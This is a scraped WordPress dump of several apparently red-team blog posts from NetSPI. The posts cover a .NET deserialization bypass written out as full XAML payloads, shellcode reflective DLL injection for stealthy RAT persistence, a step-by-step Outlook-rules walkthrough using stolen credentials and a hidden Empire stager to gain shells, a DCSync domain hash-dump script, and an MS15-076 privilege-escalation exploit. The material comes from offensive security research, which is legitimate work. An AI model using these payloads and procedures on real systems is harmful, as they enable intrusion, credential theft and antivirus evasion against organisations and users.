		if (!AppSettings.DisableActivitySurrogateSelectorTypeCheck &amp;&amp;
			!(obj is ActivityBind) &amp;&amp; !(obj is DependencyObject))
		{
		   throw new ArgumentException("obj");
		}
		// ...
	}
}

As expected, they also added what appears to be a new option (still undocumented) which disables the type check in the off chance that it breaks something. If we trace DisableActivitySurrogateSelectorTypeCheck we also discover a core reason that this gadget, in particular, was likely fixed so quickly.

internal static bool DisableActivitySurrogateSelectorTypeCheck
{
	get
	{
		if (NativeMethods.IsDynamicCodePolicyEnabled())
			return false;

		AppSettings.EnsureSettingsLoaded();
		return AppSettings.disableActivitySurrogateSelectorTypeCheck;
	}
}

As the gadget can be used to trigger arbitrary assembly loads, a call to IsDynamicCodePolicyEnabled was added to ensure the type white-list is always enforced if WLDP (Device Guard) is enabled. We aren’t concerned with WLDP, therefore we’re left with AppSettings.disableActivitySurrogateSelectorTypeCheck. Underneath this flag maps to ConfigurationManager.AppSettings which typically refers to policies in an app or web.config file.

NamedValueCollection collection = ConfigurationManager.AppSettings;

bool.TryParse(
collection["microsoft:WorkflowComponentModel:DisableActivitySurrogateSelectorTypeCheck"],
out AppSettings.disableActivitySurrogateSelectorTypeCheck
)

So we just need a way to configure a setting for an application we don’t control, which is actually easier than you might think. See ActivitySurrogateSelector was fixed, but many other DotNet gadgets are still in working order. Most of them, implemented in ysoserial.net, are configured to execute Process.Start with a target command line. Re-purposing them to instantiate a class from an arbitrary assembly would take serious wizardry, but luckily we only need them to do one thing, Disable the type check.

Retooling

The newest kid on the gadget block is TextFormattingRunProperties, discovered by Oleksandr Mirosh. Like many other gadgets, it relies on having controlled input to a XamlReader.Parse call. The core exploitation of this input depends on the ObjectDataProvider element. These are typically used to connect UI elements (TextBox/ComboBox) to custom objects or code. These objects and their capabilities are fascinating in their own right, and worth additional research. The typical template for a Process.Start call looks something like this:

&lt;ResourceDictionary
        xmlns="http://schemas.microsoft.com/winfx/2006/xaml/presentation"
        xmlns:x="http://schemas.microsoft.com/winfx/2006/xaml"
        xmlns:System="clr-namespace:System;assembly=mscorlib"
        xmlns:Diag="clr-namespace:System.Diagnostics;assembly=system"&gt;
     &lt;ObjectDataProvider x:Key="Calc" ObjectType = "{x:Type Diag:Process}" MethodName = "Start" &gt;
     &lt;ObjectDataProvider.MethodParameters&gt;
        &lt;System:String&gt;cmd&lt;/System:String&gt;
        &lt;System:String&gt;/c calc &lt;/System:String&gt;
     &lt;/ObjectDataProvider.MethodParameters&gt;
    &lt;/ObjectDataProvider&gt;
&lt;/ResourceDictionary&gt;

As the XML is parsed, the ObjectDataProvider object is created, and the target method is immediately executed to prepare results. To re-use this, we’ll need to somehow connect an ObjectDataProvider entry to AppSettings.disableActivitySurrogateSelectorTypeCheck. To start, I came up with the following C# code to disable the type check:

ConfigurationManager.AppSettings.Set(
	"microsoft:WorkflowComponentModel:DisableActivitySurrogateSelectorTypeCheck",
	"true"
);

To reproduce this code with XAML input, we’ll actually need two ObjectDataProvider objects. This is because AppSettings is retrieved from the static ConfigurationManager class, followed by the instance method Set(). We can replace ObjectType with ObjectInstance to get this sequential behavior. Also worth noting that because of overrides, the Add() method of AppSettings will throw an exception, but Set works just fine for us.

&lt;ResourceDictionary
        xmlns="http://schemas.microsoft.com/winfx/2006/xaml/presentation"
        xmlns:x="http://schemas.microsoft.com/winfx/2006/xaml"
        xmlns:System="clr-namespace:System;assembly=mscorlib"
        xmlns:Config="clr-namespace:System.Configuration;assembly=System.Configuration"&gt;
    &lt;ObjectDataProvider x:Key="appSettings" ObjectType = "{x:Type Config:ConfigurationManager}" MethodName = "get_AppSettings" &gt;&lt;/ObjectDataProvider&gt;
    &lt;ObjectDataProvider x:Key="setMethod" ObjectInstance = "{StaticResource appSettings}" MethodName = "Set" &gt;
        &lt;ObjectDataProvider.MethodParameters&gt;
            &lt;System:String&gt;microsoft:WorkflowComponentModel:DisableActivitySurrogateSelectorTypeCheck&lt;/System:String&gt;
            &lt;System:String&gt;true&lt;/System:String&gt;
        &lt;/ObjectDataProvider.MethodParameters&gt;
    &lt;/ObjectDataProvider&gt;
&lt;/ResourceDictionary&gt;

Now that we have a payload for disabling the type check, we just need to execute it before our original ActivitySurrogateSelector gadget. We could obviously do this manually through whichever entry vector we have. The setting should be persistent during the life of an app instance, so sending the disable payload once would suffice for most scenarios. I’d prefer a cleaner integration, and luckily serialization already has the answer. We can pre-load our new DisableTypeCheck payload alongside our real payload in an object list. The objects will be deserialized sequentially, triggering the mitigation disable just before our actual payload is executed.

Update: After additional testing, I discovered the technique of stacking objects in a list won’t work. This is because an exception is thrown while deserializing the first object, causing the second object to never be touched.

string disable_xaml = @"...";

TextFormattingRunPropertiesMarshal disable_payload = 
    new TextFormattingRunPropertiesMarshal(disable_xaml);

List&lt;Object&gt; object_group = new List&lt;Object&gt;();

object_group.Add(original_payload);
object_group.Add(disable_payload);

return Serialize(object_group, ...)

Wrapping Up

Fixing only one of the available gadgets, but leaving the rest, is a recipe for disaster. Depending on your motivation, many of the existing gadgets can be retooled for interesting purposes beyond starting a process. I just really liked ActivitySurrogateSelector and wanted to keep it around.

I’ve submitted a PR for ysoserial.net to support this new bypass.

– Nick (@monoxgas)

Update – 6/6/19

After some additional work on the gadget, some changes have been made to support more scenarios.

The reference made to ConfigurationManager.AppSettings only occurs if the internal Workflow.ComponentModel.AppSettings has not yet been initialized:

if (!AppSettings.settingsInitialized)
{
    ... // Read in values from the global config

    AppSettings.settingsInitialized = true;
}

Therefore if the disableTypeCheck flag has ever been queried before, our original payload will make no difference. To fix this, I’ve added some System.Reflection calls using ObjectDataProviders to manually set the internal Workflow boolean value. In addition, I found a slightly simpler way to access the static ConfigurationManager.AppSettings class.

&lt;ResourceDictionary
    xmlns="http://schemas.microsoft.com/winfx/2006/xaml/presentation"
    xmlns:x="http://schemas.microsoft.com/winfx/2006/xaml"
    xmlns:s="clr-namespace:System;assembly=mscorlib"
    xmlns:c="clr-namespace:System.Configuration;assembly=System.Configuration"
    xmlns:r="clr-namespace:System.Reflection;assembly=mscorlib"&gt;
    &lt;ObjectDataProvider x:Key="type" ObjectType="{x:Type s:Type}" MethodName="GetType"&gt;
        &lt;ObjectDataProvider.MethodParameters&gt;
            &lt;s:String&gt;System.Workflow.ComponentModel.AppSettings, System.Workflow.ComponentModel, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35&lt;/s:String&gt;
        &lt;/ObjectDataProvider.MethodParameters&gt;
    &lt;/ObjectDataProvider&gt;
    &lt;ObjectDataProvider x:Key="field" ObjectInstance="{StaticResource type}" MethodName="GetField"&gt;
        &lt;ObjectDataProvider.MethodParameters&gt;
            &lt;s:String&gt;disableActivitySurrogateSelectorTypeCheck&lt;/s:String&gt;
            &lt;r:BindingFlags&gt;40&lt;/r:BindingFlags&gt;
        &lt;/ObjectDataProvider.MethodParameters&gt;
    &lt;/ObjectDataProvider&gt;
    &lt;ObjectDataProvider x:Key="set" ObjectInstance="{StaticResource field}" MethodName="SetValue"&gt;
        &lt;ObjectDataProvider.MethodParameters&gt;
            &lt;s:Object/&gt;
            &lt;s:Boolean&gt;true&lt;/s:Boolean&gt;
        &lt;/ObjectDataProvider.MethodParameters&gt;
    &lt;/ObjectDataProvider&gt;
    &lt;ObjectDataProvider x:Key="setMethod" ObjectInstance="{x:Static c:ConfigurationManager.AppSettings}" MethodName ="Set"&gt;
        &lt;ObjectDataProvider.MethodParameters&gt;
            &lt;s:String&gt;microsoft:WorkflowComponentModel:DisableActivitySurrogateSelectorTypeCheck&lt;/s:String&gt;
            &lt;s:String&gt;true&lt;/s:String&gt;
        &lt;/ObjectDataProvider.MethodParameters&gt;
    &lt;/ObjectDataProvider&gt;
&lt;/ResourceDictionary&gt;
[post_title] => Re-Animating ActivitySurrogateSelector [post_excerpt] => [post_status] => publish [comment_status] => open [ping_status] => open [post_password] => [post_name] => re-animating-activitysurrogateselector [to_ping] => [pinged] => [post_modified] => 2021-04-13 00:05:21 [post_modified_gmt] => 2021-04-13 00:05:21 [post_content_filtered] => [post_parent] => 0 [guid] => http://www.netspi.com/?p=23534 [menu_order] => 196 [post_type] => post [post_mime_type] => [comment_count] => 0 [filter] => raw ) [5] => WP_Post Object ( [ID] => 25106 [post_author] => 77 [post_date] => 2017-08-23 11:18:00 [post_date_gmt] => 2017-08-23 11:18:00 [post_content] =>

During our first offering of “Dark Side Ops II – Adversary Simulation” at Black Hat USA 2017, we quietly dropped a piece of our internal toolkit called sRDI. Shortly after, the full project was put on GitHub (https://github.com/monoxgas/sRDI) without much explanation.  I wanted to write a quick post discussing the details and use-cases behind this new functionality.

A Short History

Back in ye olde times, if you were exploiting existing code, or staging malicious code into memory, you used shellcode. For those rare few who still have the skill to write programs in assembly, we commend you. As the Windows API grew up and gained popularity, people found sanctuary in DLLs. C code and cross compatibility were very appealing, but what if you wanted your DLL to execute in another process? Well, you could try writing the file to memory and dropping a thread at the top, but that doesn’t work very well on packed PE files. The Windows OS already knows how to load PE files, so people asked nicely and DLL Injection was born. This involves starting a thread in a remote process to call “LoadLibrary()” from the WinAPI. This will read a (malicious) DLL from disk and load it into the target process. So you write some cool malware, save it as a DLL, drop it to disk, and respawn into other processes. Awesome!…well, not really. Anti-virus vendors caught on quick, started flagging more and more file types, and performing heuristic analysis. The disk wasn’t a safe place anymore!

Finally in 2009, our malware messiah Stephen Fewer (@stephenfewer) releases Reflective DLL Injection. As demonstrated, LoadLibrary is limited in loading only DLLs from disk. So Mr. Fewer said “Hold my beer, I’ll do it myself”. With a rough copy of LoadLibrary implemented in C, this code could now be included into any DLL project. The process would export a new function called “ReflectiveLoader” from the (malicious) DLL. When injected, the reflective DLL would locate the offset of this function, and drop a thread on it. ReflectiveLoader walks back through memory to locate the beginning of the DLL, then unpacks and remaps everything automatically. When complete, “DLLMain” is called and you have your malware running in memory.

Years went by and very little was done to update these techniques. Memory injection was well ahead of it’s time and allowed all the APTs and such to breeze past AV. In 2015, Dan Staples (@_dismantl) released an important update to RDI, called “Improved Reflective DLL Injection“. This aimed to allow an additional function to be called after “DLLMain” and support the passing of user arguments into said additional function. Some shellcode trickery and a bootstrap placed before the call to ReflectiveLoader accomplished just that. RDI is now functioning more and more like the legitimate LoadLibrary. We can now load a DLL, call it’s entry point, and then pass user data to another exported function. By the way, if you aren’t familiar with DLLs or exported functions, I recommend you read Microsoft’s overview.

Making shellcode great again

Reflective DLL injection is being used heavily by private and public toolsets to maintain that “in-memory” street cred. Why change things? Well…

  • RDI requires that your target DLL and staging code understand RDI. So you need access to the source code on both ends (the injector and injectee), or use tools that already support RDI.
  • RDI requires a lot of code for loading in comparison to shellcode injection. This compromises stealth and makes stagers easier to signature/monitor.
  • RDI is confusing for people who don’t write native code often.
  • Modern APT groups have already implemented more mature memory injection techniques, and our goal is better emulate real-world adversaries.

The list isn’t as long as some reasons to change things, but we wanted to write a new version of RDI for simplicity and flexibility. So what did we do?

  1. To start, we read through some great research by Matt Graeber (@mattifestation) to convert primitive C code into shellcode. We rewrote the ReflectiveLoader function and converted the entire thing into a big shellcode blob. We now have a basic PE loader as shellcode.
  2. We wanted to maintain the advantages of Dan Staples technique, so we modified the bootstrap to hook into our new shellcode ReflectiveLoader. We also added some other tricks like a pop/call to allow the shellcode to get it’s current location in memory and maintain position independence.
  3. Once our bootstrap primitives were built, we implemented a conversion process into different languages (C, PowerShell, C#, and Python). This allows us to hook our new shellcode and a DLL together with the bootstrap code in any other tool we needed.

Once complete, the blob looks something like this:

When execution starts at the top of the bootstrap, the general flow looks like this:

  1. Get current location in memory (Bootstrap)
  2. Calculate and setup registers (Bootstrap)
  3. Pass execution to RDI with the function hash, user data, and location of the target DLL (Bootstrap)
  4. Un-pack DLL and remap sections (RDI)
  5. Call DLLMain (RDI)
  6. Call exported function by hashed name (RDI) – Optional
  7. Pass user-data to exported function (RDI) – Optional

With that all done, we now have conversion functions that take in arbitrary DLLs, and spit out position independent shellcode. Optionally, you can specify arbitrary data to get passed to an exported function once the DLL is loaded (as Mr. Staples intended). On top of that, if you are performing local injection, the shellcode will return a memory pointer that you can use with GetProcAddressR() to locate additional exported functions and call them. Even with the explanation, the process can seem confusing to most who don’t have experience with the original RDI project, shellcode, or PE files, so I recommend you read existing research and head over to the GitHub repository and dig into the code: https://github.com/monoxgas/sRDI

Okay, so what?

“You can now convert any DLL to position independent shellcode at any time, on the fly.”

This tool is mainly relevant to people who write/customize malware. If you don’t know how to write a DLL, I doubt most of this applies to you. With that said, if you are interested in writing something more than a PowerShell script or Py2Exe executable to perform red-teaming, this is a great place to start.

Use case #1 – Stealthy persistence

  • Use server-side Python code (sRDI) to convert a RAT to shellcode
  • Write the shellcode to the registry
  • Setup a scheduled task to execute a basic loader DLL
  • Loader reads shellcode and injects (<20 lines of C code)

Pros: Neither your RAT or loader need to understand RDI or be compiled with RDI. The loader can stay small and simple to avoid AV.

Use case #2 – Side loading

  • Get your sweet RAT running in memory
  • Write DLL to perform extra functionality
  • Convert the DLL to shellcode (using sRDI) and inject locally
  • Use GetProcAddressR to lookup exported functions
  • Execute additional functionality X-times without reloading DLL

Pros: Keep your initial tool more lightweight and add functionality as needed. Load a DLL once and use it just like any other.

Use case #3 – Dependencies

  • Read existing legitimate API DLL from disk
  • Convert the DLL to shellcode (using sRDI) and load it into memory
  • Use GetProcAddress to lookup needed functions

Pros: Avoid monitoring tools that detect LoadLibrary calls. Access API functions without leaking information. (WinInet, PSApi, TlHelp32, GdiPlus)

Conclusion

We hope people get good use out of this tool. sRDI been a member of the SBS family for almost 2 years now and we have it integrated into many of our tools. Please make modifications and create pull-requests if you find improvements.

We’d love to see people start pushing memory injection to higher levels. With recent AV vendors promising more analytics and protections against techniques like this, we’re confident threat actors have already implemented improvements and alternatives that don’t involve high level languages like PowerShell or JScript.

@monoxgas

[post_title] => sRDI – Shellcode Reflective DLL Injection [post_excerpt] => [post_status] => publish [comment_status] => closed [ping_status] => closed [post_password] => [post_name] => srdi-shellcode-reflective-dll-injection [to_ping] => [pinged] => [post_modified] => 2021-04-27 14:36:35 [post_modified_gmt] => 2021-04-27 14:36:35 [post_content_filtered] => [post_parent] => 0 [guid] => https://www.netspi.com/?p=25106 [menu_order] => 257 [post_type] => post [post_mime_type] => [comment_count] => 0 [filter] => raw ) [6] => WP_Post Object ( [ID] => 25171 [post_author] => 77 [post_date] => 2015-12-04 12:55:00 [post_date_gmt] => 2015-12-04 12:55:00 [post_content] =>

Occasionally, we come across interesting scenarios that require thinking outside the box. For example: What if you’ve obtained a target user’s credentials (via responder.py, brute-forcing, sniffing, keylogging, etc.), but don’t have access to their workstation? This raises the question of whether a domain username and password could be useful without a workstation to authenticate against. Most organizations use Exchange for email, and make it externally accessible (via OWA or RPC over HTTPS). The AutoDiscover DNS record simplifies most of this process requiring a user to simply input his or her domain credentials into Outlook to setup the remote connection. Hopefully you can see where we’re going with this. If not, read on!

Anyone familiar enough with Outlook will know it has a “Rules and Alerts” section that allows the user to automate certain actions based on message criteria. This feature is particularly interesting because the rules sync between all Outlook installs via Exchange. Most of the available rules actions pertain to modifying the mailbox, moving messages, categorizing items, etc. However, a few more devious actions immediately stand out, namely “Start Application”.

This seems too easy! Sure enough, playing with the rule in the Outlook client highlights some pretty serious drawbacks. First, the target file needs to be locally accessible before it will save the rule. Second, it doesn’t appear to support arguments when starting the application. Poking around a bit more, we find the ability to import or export rules under the “Options” menu. Here is where we can have some fun! Let’s export a simple rule file and throw it into a hex editor.

Through the hex editor, we can find the data we’re interested in. We have the name of our rule, the text that our subject trigger is using, and the path of the file to execute. Experienced reverse engineers may notice that each text sequence is preceded by the length of the string, and the string itself is encoded with UTF-16LE. After spending some time reversing the file format, we built a python script to automate the process of modifying the rules file to execute an arbitrary malicious file instead of the one initially specified! By default, the script uses an email subject trigger rule to execute the file path specified. Like any good hacker script, it’s a little rough around the edges (e.g. no exception handling), but it’s much better than manually editing the .rwz files in a hex editor. It can be found here: https://gist.github.com/monoxgas/7fec9ec0f3ab405773fc

Note: The API Outlook uses is ShellExecute with the “open” verb when running the file, so technically any file extension with an action defined for “open” is valid. These can be found in the registry under HKEY_CLASSES_ROOT. This is also why arguments don’t work…for now. 

That’s cool, but we’re always looking for ways to weaponize techniques in real-world attack scenarios. That being said, the next challenge became finding a way to remotely leverage the capability to obtain initial access, or pivot around tough network segmentation. This is where UNC paths, SMB, and WebDAV come in handy.

  • Assuming you already had internal network access, you could host your malicious files on an open Samba share with Kali, or simply drop them on an existing public file share on the network.
  • If attempting initial access, the target network would need to allow port 445 outbound (more common than you might think), in which case you just host the file on a public server.
  • Similar to #2, but WebDAV (port 80) is used to deliver the payload.

Again, focusing on real-world attack scenarios, we opted for method #3, using an external WebDAV server running on port 80 (because everyone lets port 80 out) to deliver the payload.

Note: Performing this attack via the internet might generate a user prompt warning of execution from an untrusted location.

So let’s put all of this theory into practice and show an example attack.

The machines we’ll work with:

  • Target Workstation
    • On the internal network
    • Target user has Outlook running
  • Public Web Server
    • Internet facing server
    • Running WebDAV with Apache
    • Will deliver Powershell Empire as the payload
  • Windows VM
    • Used to connect to target user’s email account externally

Overview of the process:

  1. Install Apache and WebDAV modules. Setup a public share with anonymous access (public server)
  2. Run Empire and create listener/stager (public server)
  3. Build EXE wrapper to run PowerShell one-liner silently
  4. Build Outlook RWZ file
  5. Connect to target users email in Outlook and sync the malicious rule file (Windows VM)
  6. Send an email to trigger the Outlook rule
  7. Shellz! (target workstation)
  8. PROFIT???

Step 1 – Install Apache and WebDAV

Installing Apache and WebDAV will depend on your distro. In this demo, we used a base Ubuntu 14.04 install with a process similar to this. Here is a snippet from the 000-default.conf site config file to allow anonymous access to a WebDAV share.

In this case, I’m using “/var/www/webdav”. Just make sure proper permissions are set on that directory.

Step 2 – Setup the RAT

Powershell Empire (http://www.powershellempire.com) can be installed with a simple “git clone https://github.com/PowerShellEmpire/Empire.git”, then run “./setup/install.sh”. For this example, I just left the listener named “test” with a connecting port of 8080. Setup our one-liner using “usestager launcher <listener name>”

Step 3 – Build the payload

Alright, now that we have a RAT listener setup, with a PowerShell one-liner to deploy, and WebDAV server to host our files, we just need the file payload to deploy. This could be done a number of ways. I like to use “BAT to EXE Converter” from http://www.f2ko.de/en/b2e.php. It allows you to make a EXE for running any command line input you want. Just copy the PowerShell one-liner from Empire into a BAT file and compile it to an EXE. Don’t forget to make the application “invisible” to avoid a command prompt window popping up. Once it’s compiled, throw this EXE onto your WebDAV file share.

Step 4 – Build the rule

Using the rulz.py script mentioned earlier, create the malicious rules file.

Step 5 – Connect to Outlook

This part is the easiest of this whole process. We won’t cover this process in detail, but it should be pretty easy as most organizations have AutoDiscover via DNS setup.

Note: Although user credentials often match between domains and exchange, it is possible that they use separate passwords (especially in the case of Office 365).

Once you have the profile loaded, hop into the “Rules and Alerts” panel, hit Options, then Import.

Feel free to edit the rule after it’s imported and modify it to your pleasure. Hit Apply when you’re done and let Outlook sync the rule to Exchange.

Important: When modifying a rule that starts an application, Outlook may set “On this computer only”. Make sure to uncheck this before applying the rule!

Step 6 – Send an email

Correction, hopefully THIS is the easiest step in the process. Go ahead and shoot your target an email, either from themselves, or the address of your choosing. I like to close Outlook immediately after the message sends to make sure the local instance doesn’t interfere with the process.

Step 7 – Shellz!

This whole process can be lengthy, and a bit finicky, but nothing satisfies like popping shells using only Outlook and some credentials.

Don’t forget to clean up their Outlook rules when you are done.

What’s Next?

Like most good attacks, we aren’t really exploiting flaws, just abusing functionality to get reliable code execution. The biggest drawback right now is the inability to pass arguments when executing an application. This forces us to serve files over SMB or WebDAV which complicates the process a bit. While there are some caveats and prerequisites, Outlook rules still provide a promising entry point into a network, or around network segmentation.

[post_title] => Malicious Outlook Rules [post_excerpt] => [post_status] => publish [comment_status] => closed [ping_status] => closed [post_password] => [post_name] => malicious-outlook-rules [to_ping] => [pinged] => [post_modified] => 2021-04-27 14:48:00 [post_modified_gmt] => 2021-04-27 14:48:00 [post_content_filtered] => [post_parent] => 0 [guid] => https://www.netspi.com/?p=25171 [menu_order] => 306 [post_type] => post [post_mime_type] => [comment_count] => 0 [filter] => raw ) [7] => WP_Post Object ( [ID] => 25188 [post_author] => 77 [post_date] => 2015-10-02 13:05:00 [post_date_gmt] => 2015-10-02 13:05:00 [post_content] =>

Update: It was brought to our attention that we mistakenly forgot to credit a few of the researchers who contributed to the code used in this post. In fact, these contributors really did the heavy lifting and we simply combined various aspects of their work to create a hashdump script. Will Schroeder (@harmjoy), Joseph Bialek (@JosephBialek), Matt Graeber (@mattifestation), Vincent Le Toux (vincent.letoux [at] gmail.com), and Benjamin Delpy (@gentilkiwi) all contributed to this effort. Check the source for their specific contributions. We write a lot of code for internal use, and are still new at the process for public release.We apologize for the oversight!

This is a short blog post (and a script) to release a PowerShell invoker for DCSync. If you haven’t heard of “DCSync”, it is essentially a feature within Mimikatz that allows you to impersonate a domain controller to synchronize domain account credentials with other domain controllers. The underlying technology is obviously necessary so when a domain user changes his or her account password, the change gets synchronized across all domain controllers. Here’s the catch…the synchronization request doesn’t have to be made from an actual domain controller. Leveraging this “feature” in Active Directory, Mimikatz impersonates a domain controller to perform a password synchronization request to another domain controller. Add in some user enumeration and we can effectively perform a domain hashdump without ever actually being on a domain controller! Even better…on a recent assessment we found an organization had enabled the “Store passwords using reversible encryption” GPO. We were pleasantly surprised to find that DCSync not only pulled the hashes, but also the clear-text passwords for the accounts with that option enabled!

Now, there are a few noteworthy items. Of course there are some limitations to this. First (and hopefully this is obvious), you need to be a domain or enterprise administrator. Also, it may not be a good idea from an opsec perspective to run this on a non-domain controller host. Obviously, this is meant to synchronize DC to DC, not DC to workstation, or even DC to server. Sean Metcalf has a lot of good information on the opsec impact and even detection of this type of traffic here. Now on to the good stuff..

The PowerShell script leverages Invoke-ReflectivePEInjection with some help from the PowerView project to enumerate domain users. Basically, the script uses a DLL wrapper for the PowerKatz build of the Mimikatz project with an exported “powershell_reflective_mimikatz” function to execute the commands. Short synopsis:

  • Users and/or machines are enumerated from the network. (They are also passable as an argument.)
  • The DLL is loaded into memory, and the DCSync function location is found.
  • The DCSync command is generated and the function is called iteratively.
  • The output is parsed and formatted for your viewing and cracking pleasure.

Link to the ps1: https://gist.github.com/monoxgas/9d238accd969550136db

Here is the the full help for the command:

NAME
    Invoke-DCSync

SYNOPSIS
    Uses dcsync from mimikatz to collect NTLM hashes from the domain.

SYNTAX
    Invoke-DCSync [[-Users] <Array[]>] [-GetComputers] [-OnlyActive] [-PWDumpFormat] [-AllData] []

DESCRIPTION
    Uses a mimikatz dll in memory to call dcsync against a domain. By default, it will enumerate all active domain users along with the krbtgt, and print out their current NTLM hash. Big ups to @harmj0y for the powerview project. The Get-NetUser and Get-NetComputer code is ripped for this script.

PARAMETERS
    -Users <Array[]>
        Optional, An array of usernames to query hashes for (Passable on the Pipeline). krbtgt will automatically get added

        Required?                    false
        Position?                    1
        Default value
        Accept pipeline input?       true (ByValue)
        Accept wildcard characters?

    -GetComputers []
        Will pull the machine hashes as well. Default is false

        Required?                    false
        Position?                    named
        Default value
        Accept pipeline input?       false
        Accept wildcard characters?

    -OnlyActive []
        Will only pull users whos account is active on the domain. Default is true

        Required?                    false
        Position?                    named
        Default value
        Accept pipeline input?       false
        Accept wildcard characters?

    -PWDumpFormat []
        Formats the output in 'user:id:lm:ntlm:::' format. Default is false

        Required?                    false
        Position?                    named
        Default value
        Accept pipeline input?       false
        Accept wildcard characters?

    -AllData []
        Prints out raw mimikatz output. Default is false

        Required?                    false
        Position?                    named
        Default value
        Accept pipeline input?       false
        Accept wildcard characters?

    
        This cmdlet supports the common parameters: Verbose, Debug,
        ErrorAction, ErrorVariable, WarningAction, WarningVariable,
        OutBuffer and OutVariable. For more information, type,
        "get-help about_commonparameters".

INPUTS

OUTPUTS

    -------------------------- EXAMPLE 1 --------------------------
    >Invoke-DCSync -PWDumpFormat
    Returns all active user hashes in 'user:id:lm:ntlm:::' format.


    -------------------------- EXAMPLE 2 --------------------------

    >Invoke-DCSync -OnlyActive:$false -GetComputers
    Returns all user and computer object hashes in the domain


    -------------------------- EXAMPLE 3 --------------------------

    >Get-NetGroup -GroupName "EvilPeople" | % {$_.MemberName} | Invoke-DCSync
    Returns the user hashes for account in the EvilPeople group

[post_title] => Hashdump without the DC using DCSync (because we all wanted it) [post_excerpt] => [post_status] => publish [comment_status] => closed [ping_status] => closed [post_password] => [post_name] => invoke-dcsync-because-we-all-wanted-it [to_ping] => [pinged] => [post_modified] => 2021-04-27 14:49:25 [post_modified_gmt] => 2021-04-27 14:49:25 [post_content_filtered] => [post_parent] => 0 [guid] => https://www.netspi.com/?p=25188 [menu_order] => 307 [post_type] => post [post_mime_type] => [comment_count] => 0 [filter] => raw ) [8] => WP_Post Object ( [ID] => 25193 [post_author] => 77 [post_date] => 2015-08-12 13:16:00 [post_date_gmt] => 2015-08-12 13:16:00 [post_content] =>

A few weeks ago (July 14, 2015), Microsoft had a busy patch Tuesday fixing quite a few privilege escalation vulnerabilities. Among these was a bug in DCOM/RPC which allows for an NTLM authentication challenge to be reflected back to a listening TCP socket. This issue was found by James Forshaw (@tiraniddo) with the Google Security Research team. The details of this bug and potential exploit paths are covered in his write up here. Along with this write up came a PoC that utilized NTLM reflection, IStorage objects, a Junction, and some clever path trickery to get a SYSTEM process to write a file to ‘C:\Windows\ (2)’ without the user having admin privileges. Now this isn’t particularly useful if you are attempting to leverage this vulnerability to escalate privileges. So, naturally the goal became modifying the exploit to an arbitrary file write at any location on disk.

Luckily, Forshaw has also done research into Symbolic Links and Junctions which can used to weaponize this exploit. Here is a link to his slides on the topic from SyScan’15 along with his GitHub code here.

Now the piece we want to extract from all of this is the unprivileged file level symbolic link tactic (CreateSymlink). Essentially this uses a junction in combination with a symbolic link written to the global namespace in \RPC Control\ to get a C:\Folder\FileA pointing to C:\FileB without administrative privileges. Let’s walk through what it takes to get the a file written to ‘C:\Windows\System32\Evil.dll’.

  1. Make a directory junction from ‘C:\Windows\Temp\{Random}’ to ‘C:\Users\Public\Libraries\Sym’
  2. Make another junction from ‘\??\C:\Users\Public\Libraries\Sym’ to ‘\RPC Control\’
  3. Make a symlink from ‘\RPC Control\ (2)’ to ‘\??\C:\Windows\System32\Evil.dll’
  4. The exploit will attempt to write a file to ‘C:\Windows\Temp\{Random}/’ which points to ‘C:\Windows\System32\Evil.dll’

Note that steps 2 and 3 are performed together in the CreateSymlink project.

Modifying the PoC code with the above tricks, we can now copy any file to a privileged location. We’re calling finished product ‘Trebuchet’.

You might be thinking, “So what? It’s just an arbitrary file write.” We’ll leave weaponization specifics up to the reader, but if you’re familiar with DLL hijacking, then privilege escalation shouldn’t be difficult from here. The full PoC code can be found here.

Some things to note:

  • The exploit can only be ran once every 2-3 minutes. RPC gets held up by LocalSystem.
  • The Interop DLL must be in the same directory as the exploit (for now).
  • Only limited testing on Windows 7/8.1 x64 and x86 has been performed.
  • All of the licensed code belongs to Google and/or James Forshaw, and a big thanks to him for all the material and his great research.
  • Most of this code could be cleaned up and/or simplified.
[post_title] => Exploiting MS15-076 (CVE-2015-2370) [post_excerpt] => [post_status] => publish [comment_status] => closed [ping_status] => closed [post_password] => [post_name] => exploiting-ms15-076-cve-2015-2370 [to_ping] => [pinged] => [post_modified] => 2021-04-27 14:50:35 [post_modified_gmt] => 2021-04-27 14:50:35 [post_content_filtered] => [post_parent] => 0 [guid] => https://www.netspi.com/?p=25193 [menu_order] => 308 [post_type] => post [post_mime_type] => [comment_count] => 0 [filter] => raw ) ) [post_count] => 9 [current_post] => -1 [in_the_loop] => [post] => WP_Post Object ( [ID] => 25902 [post_author] => 77 [post_date] => 2021-07-12 15:56:00 [post_date_gmt] => 2021-07-12 20:56:00 [post_content] =>

On July 12, 2021, NetSPI Director of Research Nick Landers was featured in an article from SC Magazine:

Endpoint detection and response systems can often serve as a frontline defense for many organizations, collecting and storing telemetry from dispersed employee devices and using it to detect malicious activities or behaviors. However, a recent experiment by academic researchers at the University of Piraeus in Greece indicates they are far from a silver bullet when it comes to protecting your organization....

Nick Landers, director of research at penetration testing company NetSPI, told SC Media that that it’s rare for one team or company to even have access to such a wide range of EDR systems and any research that can test and compare different products in the EDR market is valuable in and of itself. 

He said the results outlined in the study largely mirror his experience with customers, and that many advanced threat actors generally rely on two strategies for evading detection by EDR systems: using completely unique or novel tactics that can frustrate heuristic analysis or data algorithms, and “not making noise in general” by understanding what telemetry EDR systems collect and measure.

“I think the ones we see that are the most effective are ones where the attacker understands the data [the EDR system is] collecting and keeps generation of that data low,” he said. 

However, Landers said his main takeaway from the study is not necessarily that EDR products are shoddy or not worth the cost (though he again lamented the lack of access that independent third parties typically have to test such systems), but rather a “more constructive” reinforcement of the need for multiple layers of security to ensure any one tool or process doesn’t become a single point of failure.

“I think looking at the minutiae and finger-pointing and trying to identify specific products and their specific failings is a fault that belongs to everyone in the industry,” he said. “But [EDR systems] are valuable tools and while I might not agree with their strategy or their marketing or cost or licensing model or availability, I think they do contribute to a defense in depth strategy and that’s ultimately what we should all be striving for.”

To learn more, read the full article here: https://www.scmagazine.com/news/network-security/edr-alone-wont-protect-your-organization-from-advanced-hacking-groups

